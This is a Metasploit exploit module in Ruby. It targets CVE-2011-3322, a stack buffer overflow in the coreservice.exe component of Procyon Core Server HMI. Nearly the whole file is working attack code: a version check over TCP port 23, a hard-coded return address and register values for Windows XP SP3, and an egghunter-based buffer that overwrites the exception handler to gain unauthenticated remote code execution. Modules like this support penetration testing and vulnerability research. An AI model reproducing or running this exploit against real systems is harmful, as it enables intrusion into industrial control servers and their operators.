##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Procyon Core Server HMI Coreservice.exe Stack Buffer Overflow",
        'Description' => %q{
          This module exploits a vulnerability in the coreservice.exe component of Proycon
          Core Server <= v1.13. While processing a password, the application
          fails to do proper bounds checking before copying data into a small buffer on the stack.
          This causes a buffer overflow and allows to overwrite a structured exception handling
          record on the stack, allowing for unauthenticated remote code execution.  Also, after the
          payload exits, Coreservice.exe should automatically recover.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Knud Hojgaard <keh[at]nsense.dk>', # Initial discovery
          'mr_me <steventhomasseeley[at]gmail.com>', # Initial discovery & poc/msf
        ],
        'References' => [
          ['CVE', '2011-3322'],
          ['OSVDB', '75371'],
          ['URL', 'http://www.stratsec.net/Research/Advisories/Procyon-Core-Server-HMI-Remote-Stack-Overflow']
        ],
        'Payload' => {
          'BadChars' => "\x00\x0a\x0d",
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Platform' => 'win',
        'Targets' => [

          [
            'Windows XP SP3 - No dep bypass',
            {
              'Ret' => 0x774699bf, # JMP ESP [user32.dll]
              'Edx' => 0x1D847770, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]
              'Eax' => 0x01010106, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]
              'Offset' => 8
            }
          ],
        ],
        'Privileged' => true,
        'DisclosureDate' => '2011-09-08',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(23)
      ]
    )
  end

  def check
    connect
    res = (sock.get_once || '').chomp  # This gives us string "----------------------------"
    res = (sock.get_once || '').chomp  # This gives us the actual software version
    disconnect

    if res =~ /Core Command Interface V1\.(.*)2/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    eggoptions =
      {
        :checksum => false,
        :eggtag => 'ssec',
      }

    badchars = "\x00\x0a\x0d"
    hunter, egg = generate_egghunter(payload.encoded, badchars, eggoptions)

    sploit = rand_text_alpha_upper(45)
    sploit << [target['Edx']].pack('V')
    sploit << [0x41414141].pack('V')
    sploit << [target['Eax']].pack('V')
    sploit << rand_text_alpha_upper(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(10)
    sploit << hunter
    sploit << rand_text_alpha_upper(500)
    sploit << egg
    sploit << "\r\n"

    connect
    sock.get_once()
    print_status("Sending request...")
    sock.put(sploit)
    handler()
    disconnect
  end
end